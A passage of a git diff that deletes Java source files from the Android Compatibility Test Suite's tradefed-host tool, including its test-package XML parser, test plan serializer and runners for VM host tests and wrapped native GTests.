-        for (String abi : mTestMap.keySet()) {
-            Map<String, TestPackageDef> testNameMap = mTestMap.get(abi);
-            for (TestPackageDef testPackageDef : testNameMap.values()) {
-                ids.add(testPackageDef.getId());
-            }
-        }
-        List<String> idList = new ArrayList<>(ids);
-        Collections.sort(idList);
-        return idList;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public List<String> getPackageNames() {
-        Set<String> nameSet = new HashSet<String>();
-        for (String abi : mTestMap.keySet()) {
-            Map<String, TestPackageDef> testNameMap = mTestMap.get(abi);
-            for (TestPackageDef testPackageDef : testNameMap.values()) {
-                nameSet.add(AbiUtils.parseTestName(testPackageDef.getId()));
-            }
-        }
-        List<String> nameList = new ArrayList<>(nameSet);
-        Collections.sort(nameList);
-        return nameList;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public Map<String, List<ITestPackageDef>> getTestPackageDefsByName() {
-        Map<String, List<ITestPackageDef>> packageDefMap =
-                new HashMap<String, List<ITestPackageDef>>();
-
-        for (String abi : mTestMap.keySet()) {
-            Map<String, TestPackageDef> testNameMap = mTestMap.get(abi);
-            for (String packageName : testNameMap.keySet()) {
-                if (!packageDefMap.containsKey(packageName)) {
-                    packageDefMap.put(packageName, new ArrayList<ITestPackageDef>());
-                }
-                packageDefMap.get(packageName).add(testNameMap.get(packageName));
-            }
-        }
-        return packageDefMap;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public List<String> findPackageIdsForTest(String testClassName) {
-        Set<String> ids = new HashSet<String>();
-        for (String abi : mTestMap.keySet()) {
-            for (String name : mTestMap.get(abi).keySet()) {
-                if (mTestMap.get(abi).get(name).isKnownTestClass(testClassName)) {
-                    ids.add(AbiUtils.createId(abi, name));
-                }
-            }
-        }
-        List<String> idList = new ArrayList<String>(ids);
-        Collections.sort(idList);
-        return idList;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPackageXmlParser.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPackageXmlParser.java
deleted file mode 100644
index acd977e..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPackageXmlParser.java
+++ /dev/null
@@ -1,237 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.util.xml.AbstractXmlParser;
-
-import org.xml.sax.Attributes;
-import org.xml.sax.helpers.DefaultHandler;
-
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.Map;
-import java.util.Set;
-import java.util.Stack;
-
-/**
- * Parser for CTS test case XML.
- * <p/>
- * Dumb parser that just retrieves data from in the test case xml and stuff it into a
- * {@link TestPackageDef}. Currently performs limited error checking.
- */
-public class TestPackageXmlParser extends AbstractXmlParser {
-
-    private static final String LOG_TAG = "TestPackageXmlParser";
-
-    private final boolean mIncludeKnownFailures;
-
-    private Map<String, TestPackageDef> mPackageDefs = new HashMap<String, TestPackageDef>();
-
-    /**
-     * @param includeKnownFailures Whether to run tests which are known to fail.
-     */
-    public TestPackageXmlParser(boolean includeKnownFailures) {
-        mIncludeKnownFailures = includeKnownFailures;
-    }
-
-    /**
-     * SAX callback object. Handles parsing data from the xml tags.
-     * <p/>
-     * Expected structure:
-     * <TestPackage>
-     *     <TestSuite ...>
-     *        <TestCase>
-     *           <Test>
-     *             <TestInstance> (optional)
-     */
-    private class TestPackageHandler extends DefaultHandler {
-
-        private static final String TEST_PACKAGE_TAG = "TestPackage";
-        private static final String TEST_SUITE_TAG = "TestSuite";
-        private static final String TEST_CASE_TAG = "TestCase";
-        private static final String TEST_TAG = "Test";
-        private static final String TEST_INSTANCE_TAG = "TestInstance";
-
-        // holds current class name segments
-        private Stack<String> mClassNameStack = new Stack<String>();
-        private TestIdentifier mTestId;
-
-        @Override
-        public void startElement(String uri, String localName, String name, Attributes attributes) {
-            if (TEST_PACKAGE_TAG.equals(localName)) {
-                final String appPackageName = attributes.getValue("appPackageName");
-                final String testPackageNameSpace = attributes.getValue("appNameSpace");
-                final String packageName = attributes.getValue("name");
-                final String runnerName = attributes.getValue("runner");
-                final String jarPath = attributes.getValue("jarPath");
-                final String javaPackageFilter = attributes.getValue("javaPackageFilter");
-                final String targetBinaryName = attributes.getValue("targetBinaryName");
-                final String targetNameSpace = attributes.getValue("targetNameSpace");
-                final String runTimeArgs = attributes.getValue("runtimeArgs");
-                final String testType = getTestType(attributes);
-
-                for (String abiName : AbiUtils.getAbisSupportedByCompatibility()) {
-                    Abi abi = new Abi(abiName, AbiUtils.getBitness(abiName));
-                    TestPackageDef packageDef = new TestPackageDef();
-                    packageDef.setAppPackageName(appPackageName);
-                    packageDef.setAppNameSpace(testPackageNameSpace);
-                    packageDef.setName(packageName);
-                    packageDef.setRunner(runnerName);
-                    packageDef.setTestType(testType);
-                    packageDef.setJarPath(jarPath);
-                    packageDef.setRunTimeArgs(runTimeArgs);
-                    if (!"".equals(javaPackageFilter)) {
-                        packageDef.setTestPackageName(javaPackageFilter);
-                    }
-                    packageDef.setTargetBinaryName(targetBinaryName);
-                    packageDef.setTargetNameSpace(targetNameSpace);
-                    packageDef.setAbi(abi);
-                    mPackageDefs.put(abiName, packageDef);
-                }
-
-                // reset the class name
-                mClassNameStack = new Stack<String>();
-            } else if (TEST_SUITE_TAG.equals(localName)) {
-                String packageSegment = attributes.getValue("name");
-                if (packageSegment != null) {
-                    mClassNameStack.push(packageSegment);
-                } else {
-                    Log.e(LOG_TAG, String.format("Invalid XML: missing 'name' attribute for '%s'",
-                            TEST_SUITE_TAG));
-                }
-            } else if (TEST_CASE_TAG.equals(localName)) {
-                String classSegment = attributes.getValue("name");
-                if (classSegment != null) {
-                    mClassNameStack.push(classSegment);
-                } else {
-                    Log.e(LOG_TAG, String.format("Invalid XML: missing 'name' attribute for '%s'",
-                            TEST_CASE_TAG));
-                }
-            } else if (TEST_TAG.equals(localName)) {
-                String methodName = attributes.getValue("name");
-                if (mPackageDefs.isEmpty()) {
-                    Log.e(LOG_TAG, String.format(
-                            "Invalid XML: encountered a '%s' tag not enclosed within a '%s' tag",
-                            TEST_TAG, TEST_PACKAGE_TAG));
-                } else if (methodName == null) {
-                    Log.e(LOG_TAG, String.format("Invalid XML: missing 'name' attribute for '%s'",
-                            TEST_TAG));
-                } else {
-                    // build class name from package segments
-                    StringBuilder classNameBuilder = new StringBuilder();
-                    for (Iterator<String> iter = mClassNameStack.iterator(); iter.hasNext(); ) {
-                        classNameBuilder.append(iter.next());
-                        if (iter.hasNext()) {
-                            classNameBuilder.append(".");
-                        }
-                    }
-                    mTestId = new TestIdentifier(classNameBuilder.toString(), methodName);
-                    int timeout = -1;
-                    String timeoutStr = attributes.getValue("timeout");
-                    if (timeoutStr != null) {
-                        timeout = Integer.parseInt(timeoutStr);
-                    }
-                    boolean isKnownFailure = "failure".equals(attributes.getValue("expectation"));
-                    if (!isKnownFailure || mIncludeKnownFailures) {
-                        String abiList = attributes.getValue("abis");
-                        Set<String> abis = new HashSet<String>();
-                        if (abiList == null) {
-                            // If no specification, add all supported abis
-                            abis.addAll(AbiUtils.getAbisSupportedByCompatibility());
-                        } else {
-                            for (String abi : abiList.split(",")) {
-                                // Else only add the abi which are supported
-                                abis.add(abi.trim());
-                            }
-                        }
-                        for (String abi : abis) {
-                            mPackageDefs.get(abi).addTest(mTestId, timeout);
-                        }
-                    }
-                }
-            } else if (TEST_INSTANCE_TAG.equals(localName)) {
-                if (mTestId != null) {
-                    final Map<String, String> instanceArguments = genAttributeMap(attributes);
-                    for (TestPackageDef packageDef : mPackageDefs.values()) {
-                        if (packageDef.getTests().contains(mTestId)) {
-                            packageDef.addTestInstance(mTestId, instanceArguments);
-                        }
-                    }
-                } else {
-                    Log.e(LOG_TAG, String.format(
-                            "Invalid XML: encountered a '%s' tag not enclosed within a '%s' tag",
-                            TEST_INSTANCE_TAG, TEST_TAG));
-                }
-            }
-        }
-
-        private String getTestType(Attributes attributes) {
-            if (parseBoolean(attributes.getValue("hostSideOnly"))) {
-                return TestPackageDef.HOST_SIDE_ONLY_TEST;
-            } else if (parseBoolean(attributes.getValue("vmHostTest"))) {
-                return TestPackageDef.VM_HOST_TEST;
-            } else {
-                return attributes.getValue("testType");
-            }
-        }
-
-        @Override
-        public void endElement (String uri, String localName, String qName) {
-            if (TEST_SUITE_TAG.equals(localName) || TEST_CASE_TAG.equals(localName)) {
-                mClassNameStack.pop();
-            } else if (TEST_TAG.equals(localName)) {
-                mTestId = null;
-            }
-        }
-
-        /**
-         * Parse a boolean attribute value
-         */
-        private boolean parseBoolean(final String stringValue) {
-            return stringValue != null &&
-                    Boolean.parseBoolean(stringValue);
-        }
-
-        private Map<String, String> genAttributeMap(Attributes attributes) {
-            final Map<String, String> attribMap = new HashMap<String, String>();
-            for (int i = 0; i < attributes.getLength(); ++i) {
-                final String localName = attributes.getLocalName(i);
-                final String namespace = attributes.getURI(i);
-                final String fullyQualifiedName =
-                        (namespace.isEmpty()) ? (localName) : (namespace + ":" + localName);
-
-                attribMap.put(fullyQualifiedName, attributes.getValue(i));
-            }
-            return attribMap;
-        }
-    }
-
-    @Override
-    protected DefaultHandler createXmlHandler() {
-        return new TestPackageHandler();
-    }
-
-    /**
-     * @return the set of {@link TestPackageDef} containing data parsed from xml
-     */
-    public Set<TestPackageDef> getTestPackageDefs() {
-        return new HashSet<>(mPackageDefs.values());
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPlan.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPlan.java
deleted file mode 100644
index 6b02db9..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestPlan.java
+++ /dev/null
@@ -1,270 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.util.ArrayUtil;
-import com.android.tradefed.util.xml.AbstractXmlParser;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xml.sax.Attributes;
-import org.xml.sax.SAXException;
-import org.xml.sax.helpers.DefaultHandler;
-
-import java.io.IOException;
-import java.io.OutputStream;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.TreeSet;
-
-/**
- * Implementation of {@link TestPlan}.
- */
-public class TestPlan extends AbstractXmlParser implements ITestPlan {
-
-    /**
-     * Map of ids found in plan, and their filters
-     */
-    private Map<String, TestFilter> mIdFilterMap;
-
-    private static final String ENTRY_TAG = "Entry";
-    private static final String TEST_DELIM = ";";
-    private static final String METHOD_DELIM = "#";
-    private static final String EXCLUDE_ATTR = "exclude";
-    private static final String INCLUDE_ATTR = "include";
-    private static final String ABI_ATTR = "abi";
-    private static final String NAME_ATTR = "name";
-
-    private final String mName;
-    private final Set<String> mAbis;
-
-    /**
-     * SAX callback object. Handles parsing data from the xml tags.
-     */
-    private class EntryHandler extends DefaultHandler {
-
-        @Override
-        public void startElement(String uri, String localName, String name, Attributes attributes)
-                throws SAXException {
-            if (ENTRY_TAG.equals(localName)) {
-                TestFilter filter = parseTestList(
-                        attributes.getValue(EXCLUDE_ATTR), attributes.getValue(INCLUDE_ATTR));
-                final String entryNameValue = attributes.getValue(NAME_ATTR);
-                final String entryAbiValue = attributes.getValue(ABI_ATTR);
-                if (entryAbiValue != null) {
-                    mIdFilterMap.put(AbiUtils.createId(entryAbiValue, entryNameValue), filter);
-                } else {
-                    for (String abi : mAbis) {
-                        mIdFilterMap.put(AbiUtils.createId(abi, entryNameValue), filter);
-                    }
-                }
-            }
-        }
-
-        /**
-         * Parse a semicolon separated list of tests.
-         * <p/>
-         * Expected format:
-         * testClassName[#testMethodName][;testClassName2...]
-         *
-         * @param excludedString the excluded string list
-         * @param includedString the included string list
-         * @return
-         */
-        private TestFilter parseTestList(String excludedString, String includedString) {
-            TestFilter filter = new TestFilter();
-            if (excludedString != null) {
-                String[] testStrings = excludedString.split(TEST_DELIM);
-                for (String testString : testStrings) {
-                    String[] classMethodPair = testString.split(METHOD_DELIM);
-                    if (classMethodPair.length == 2) {
-                        filter.addExcludedTest(new TestIdentifier(classMethodPair[0],
-                                classMethodPair[1]));
-                    } else {
-                        filter.addExcludedClass(testString);
-                    }
-                }
-            }
-            if (includedString != null) {
-                String[] testStrings = includedString.split(TEST_DELIM);
-                for (String testString : testStrings) {
-                    String[] classMethodPair = testString.split(METHOD_DELIM);
-                    if (classMethodPair.length == 2) {
-                        filter.addIncludedTest(new TestIdentifier(classMethodPair[0],
-                                classMethodPair[1]));
-                    } else {
-                        filter.addIncludedClass(testString);
-                    }
-                }
-            }
-
-            return filter;
-        }
-    }
-
-    public TestPlan(String name, Set<String> abis) {
-        mName = name;
-        mAbis = abis;
-        // Uses a LinkedHashMap to have predictable iteration order
-        mIdFilterMap = new LinkedHashMap<String, TestFilter>();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String getName() {
-        return mName;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public Collection<String> getTestIds() {
-        List<String> ids = new ArrayList<String>(mIdFilterMap.keySet());
-        Collections.sort(ids);
-        return ids;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public List<String> getTestNames() {
-        TreeSet<String> testNameSet = new TreeSet<>();
-        for (String id : mIdFilterMap.keySet()) {
-            testNameSet.add(AbiUtils.parseTestName(id));
-        }
-        return new ArrayList<>(testNameSet);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public TestFilter getTestFilter(String id) {
-        return mIdFilterMap.get(id);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void addPackage(String id) {
-        mIdFilterMap.put(id, new TestFilter());
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected DefaultHandler createXmlHandler() {
-        return new EntryHandler();
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void addExcludedTest(String id, TestIdentifier testToExclude) {
-        TestFilter filter = mIdFilterMap.get(id);
-        if (filter != null) {
-            filter.addExcludedTest(testToExclude);
-        } else {
-            throw new IllegalArgumentException(String.format("Could not find package %s", id));
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void addExcludedTests(String id, Collection<TestIdentifier> excludedTests) {
-        TestFilter filter = mIdFilterMap.get(id);
-        if (filter != null) {
-            filter.getExcludedTests().addAll(excludedTests);
-        } else {
-            throw new IllegalArgumentException(String.format("Could not find package %s", id));
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void serialize(OutputStream stream) throws IOException {
-        KXmlSerializer serializer = new KXmlSerializer();
-        serializer.setOutput(stream, "UTF-8");
-        serializer.startDocument("UTF-8", false);
-        serializer.setFeature(
-                "http://xmlpull.org/v1/doc/features.html#indent-output", true);
-        serializer.startTag(null, "TestPlan");
-        serializer.attribute(null, "version", "1.0");
-        for (Map.Entry<String, TestFilter> packageEntry : mIdFilterMap.entrySet()) {
-            serializer.startTag(null, ENTRY_TAG);
-            String[] parts = AbiUtils.parseId(packageEntry.getKey());
-            serializer.attribute(null, ABI_ATTR, parts[0]);
-            serializer.attribute(null, NAME_ATTR, parts[1]);
-            serializeFilter(serializer, packageEntry.getValue());
-            serializer.endTag(null, ENTRY_TAG);
-        }
-        serializer.endTag(null, "TestPlan");
-        serializer.endDocument();
-    }
-
-    /**
-     * Adds an xml attribute containing {@link TestFilter} contents.
-     * <p/>
-     * If {@link TestFilter} is empty, no data will be output.
-     *
-     * @param serializer
-     * @param testFilter
-     * @throws IOException
-     */
-    private void serializeFilter(KXmlSerializer serializer, TestFilter testFilter)
-            throws IOException {
-        if (testFilter.hasExclusion()) {
-            List<String> exclusionStrings = new ArrayList<String>();
-            exclusionStrings.addAll(testFilter.getExcludedClasses());
-            for (TestIdentifier test : testFilter.getExcludedTests()) {
-                // TODO: this relies on TestIdentifier.toString() using METHOD_DELIM.
-                exclusionStrings.add(test.toString());
-            }
-            String exclusionAttrValue = ArrayUtil.join(TEST_DELIM, exclusionStrings);
-            serializer.attribute(null, EXCLUDE_ATTR, exclusionAttrValue);
-        }
-
-        if (testFilter.hasInclusion()) {
-            List<String> inclusionStrings = new ArrayList<String>();
-            inclusionStrings.addAll(testFilter.getIncludedClasses());
-            for (TestIdentifier test : testFilter.getIncludedTests()) {
-                // TODO: this relies on TestIdentifier.toString() using METHOD_DELIM.
-                inclusionStrings.add(test.toString());
-            }
-            String exclusionAttrValue = ArrayUtil.join(TEST_DELIM, inclusionStrings);
-            serializer.attribute(null, INCLUDE_ATTR, exclusionAttrValue);
-        }
-
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestTimeoutException.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestTimeoutException.java
deleted file mode 100644
index c436658..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/TestTimeoutException.java
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-/**
- * An exception that indicates a test has timed out.
- * TODO: consider moving this to tradefed proper
- */
-public class TestTimeoutException extends Exception {
-
-    private static final long serialVersionUID = 941691916057121118L;
-
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/VMHostTest.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/VMHostTest.java
deleted file mode 100644
index 0ebdeea..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/VMHostTest.java
+++ /dev/null
@@ -1,129 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.util.FileUtil;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.zip.ZipFile;
-
-/**
- * A wrapper around {@link JarHostTest} that includes additional device setup and clean up.
- *
- */
-public class VMHostTest extends JarHostTest {
-
-    private static final String VM_TEST_TEMP_DIR = "/data/local/tmp/vm-tests";
-    private static final String EMULATOR_TEMP_DIR = "/data/local/tmp";
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    @SuppressWarnings("unchecked")
-    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        if (!installVmPrereqs(getDevice(), getBuildHelper())) {
-            throw new RuntimeException(String.format(
-                    "Failed to install vm-tests prereqs on device %s",
-                    getDevice().getSerialNumber()));
-        }
-        super.run(listener);
-        cleanupDeviceFiles(getDevice());
-    }
-
-    /**
-     * Install pre-requisite jars for running vm-tests, creates temp directories for test.
-     *
-     * @param device the {@link ITestDevice}
-     * @param ctsBuild the {@link CtsBuildHelper}
-     * @throws DeviceNotAvailableException
-     * @return true if test jar files are extracted and pushed to device successfully
-     */
-    private boolean installVmPrereqs(ITestDevice device, CtsBuildHelper ctsBuild)
-            throws DeviceNotAvailableException {
-        cleanupDeviceFiles(device);
-        // Creates temp directory recursively. We also need to create the dalvik-cache directory
-        // which is used by the dalvikvm to optimize things. Without the dalvik-cache, there will be
-        // a sigsev thrown by the vm.
-        CLog.d("Creating device temp directory, including dalvik-cache.");
-        createRemoteDir(device, VM_TEST_TEMP_DIR + "/dalvik-cache" );
-        try {
-            File localTmpDir = FileUtil.createTempDir("cts-vm", new File(System.getProperty("java.io.tmpdir")));
-            CLog.d("Creating host temp dir %s", localTmpDir.getPath());
-            File jarFile = new File(ctsBuild.getTestCasesDir(), getJarFileName());
-            if (!jarFile.exists()) {
-                CLog.e("Missing jar file %s", jarFile.getPath());
-                return false;
-            }
-            CLog.d("Extracting jar file %s to host temp directory %s.",
-                    jarFile.getPath(), localTmpDir.getPath());
-            ZipFile zipFile = new ZipFile(jarFile);
-            FileUtil.extractZip(zipFile, localTmpDir);
-            File localTestTmpDir = new File(localTmpDir, "tests");
-            CLog.d("Syncing host dir %s to device dir %s",
-                    localTestTmpDir.getPath(), VM_TEST_TEMP_DIR);
-            if (!device.pushDir(localTestTmpDir, VM_TEST_TEMP_DIR)) {
-                CLog.e("Failed to push vm test files");
-                return false;
-            }
-            CLog.d("Cleaning up host temp dir %s", localTmpDir.getPath());
-            FileUtil.recursiveDelete(localTmpDir);
-        } catch (IOException e) {
-            CLog.e("Failed to extract jar file %s and sync it to device %s.",
-                    getJarFileName(), device.getSerialNumber());
-            return false;
-        }
-        return true;
-    }
-
-    /**
-     * Removes temporary file directory from device
-     *
-     * @param device
-     * @throws DeviceNotAvailableException
-     */
-    private void cleanupDeviceFiles(ITestDevice device) throws DeviceNotAvailableException {
-        if (device.doesFileExist(VM_TEST_TEMP_DIR)) {
-            CLog.d("Removing device's temp dir %s from previous runs.", VM_TEST_TEMP_DIR);
-            device.executeShellCommand(String.format("rm -r %s", VM_TEST_TEMP_DIR));
-        }
-    }
-
-    /**
-     * Creates the file directory recursively in the device.
-     *
-     * @param device the {@link ITestDevice}
-     * @param remoteFilePath the absolute path.
-     * @throws DeviceNotAvailableException
-     */
-    private void createRemoteDir(ITestDevice device, String remoteFilePath)
-            throws DeviceNotAvailableException {
-        if (device.doesFileExist(remoteFilePath)) {
-            return;
-        }
-	 if (!(device.doesFileExist(EMULATOR_TEMP_DIR))) {
-            CLog.e("Error: Can not found the /data/local/tmp directory!!!");
-        }
-        device.executeShellCommand(String.format("mkdir %s", VM_TEST_TEMP_DIR));
-        device.executeShellCommand(String.format("mkdir %s", remoteFilePath));
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/WrappedGTest.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/WrappedGTest.java
deleted file mode 100644
index 4f40c89..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/WrappedGTest.java
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.ddmlib.testrunner.ITestRunListener;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
-import com.android.tradefed.testtype.IRemoteTest;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-
-/**
- * Test runner for wrapped (native) GTests
- */
-public class WrappedGTest implements IBuildReceiver, IDeviceTest, IRemoteTest {
-
-    private static final String LOG_TAG = WrappedGTest.class.getSimpleName();
-
-    private int mMaxTestTimeMs = 1 * 60 * 1000;
-
-    private CtsBuildHelper mCtsBuild;
-    private ITestDevice mDevice;
-    private IAbi mAbi;
-
-    private final String mAppNameSpace;
-    private final String mPackageName;
-    private final String mName;
-    private final String mRunner;
-
-    public WrappedGTest(String appNameSpace, String packageName, String name, String runner) {
-        mAppNameSpace = appNameSpace;
-        mPackageName = packageName;
-        mName = name;
-        mRunner = runner;
-    }
-
-    /**
-     * @param abi The ABI to run the test on
-     */
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = CtsBuildHelper.createBuildHelper(buildInfo);
-    }
-
-    @Override
-    public void setDevice(ITestDevice device) {
-        mDevice = device;
-    }
-
-    @Override
-    public ITestDevice getDevice() {
-        return mDevice;
-    }
-
-    @Override
-    public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
-        if (installTest()) {
-            runTest(listener);
-            uninstallTest();
-        } else {
-            CLog.e("Failed to install test");
-        }
-    }
-
-    private boolean installTest() throws DeviceNotAvailableException {
-        try {
-            File testApp = mCtsBuild.getTestApp(String.format("%s.apk", mName));
-            String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
-            String installCode = mDevice.installPackage(testApp, true, options);
-
-            if (installCode != null) {
-                CLog.e("Failed to install %s.apk on %s. Reason: %s", mName,
-                    mDevice.getSerialNumber(), installCode);
-                return false;
-            }
-        }
-        catch (FileNotFoundException e) {
-            CLog.e("Package %s.apk not found", mName);
-            return false;
-        }
-        return true;
-    }
-
-    private void runTest(ITestRunListener listener) throws DeviceNotAvailableException {
-        String id = AbiUtils.createId(mAbi.getName(), mPackageName);
-        WrappedGTestResultParser resultParser = new WrappedGTestResultParser(id, listener);
-        resultParser.setFakePackagePrefix(mPackageName + ".");
-        try {
-            String options = mAbi == null ? "" : String.format("--abi %s ", mAbi.getName());
-            String command = String.format("am instrument -w %s%s/.%s", options, mAppNameSpace, mRunner);
-            mDevice.executeShellCommand(command, resultParser, mMaxTestTimeMs, 0);
-        } catch (DeviceNotAvailableException e) {
-            resultParser.flush();
-            throw e;
-        } catch (RuntimeException e) {
-            resultParser.flush();
-            throw e;
-        }
-    }
-
-    private void uninstallTest() throws DeviceNotAvailableException {
-        mDevice.uninstallPackage(mAppNameSpace);
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/WrappedGTestResultParser.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/WrappedGTestResultParser.java
deleted file mode 100644
index 3050738..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/WrappedGTestResultParser.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.ddmlib.testrunner.ITestRunListener;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.Collection;
-import java.util.List;
-import java.util.ArrayList;
-
-public class WrappedGTestResultParser extends GeeTestResultParser {
-
-    private boolean mInstrumentationError;
-
-    /**
-     * Creates the WrappedGTestResultParser.
-     *
-     * @param testRunId the test run id to provide to
-     *            {@link ITestRunListener#testRunStarted(String, int)}
-     * @param listeners informed of test results as the tests are executing
-     */
-    public WrappedGTestResultParser(String testRunId, Collection<ITestRunListener> listeners) {
-        super(testRunId, listeners);
-    }
-
-    /**
-     * Creates the WrappedGTestResultParser for a single listener.
-     *
-     * @param testRunId the test run id to provide to
-     *            {@link ITestRunListener#testRunStarted(String, int)}
-     * @param listener informed of test results as the tests are executing
-     */
-    public WrappedGTestResultParser(String testRunId, ITestRunListener listener) {
-        super(testRunId, listener);
-    }
-
-    /**
-     * Strips the instrumentation information and then forwards
-     * the raw gtest output to the {@link GeeTestResultParser}.
-     */
-    @Override
-    public void processNewLines(String[] lines) {
-        if (mInstrumentationError) {
-            return;
-        }
-
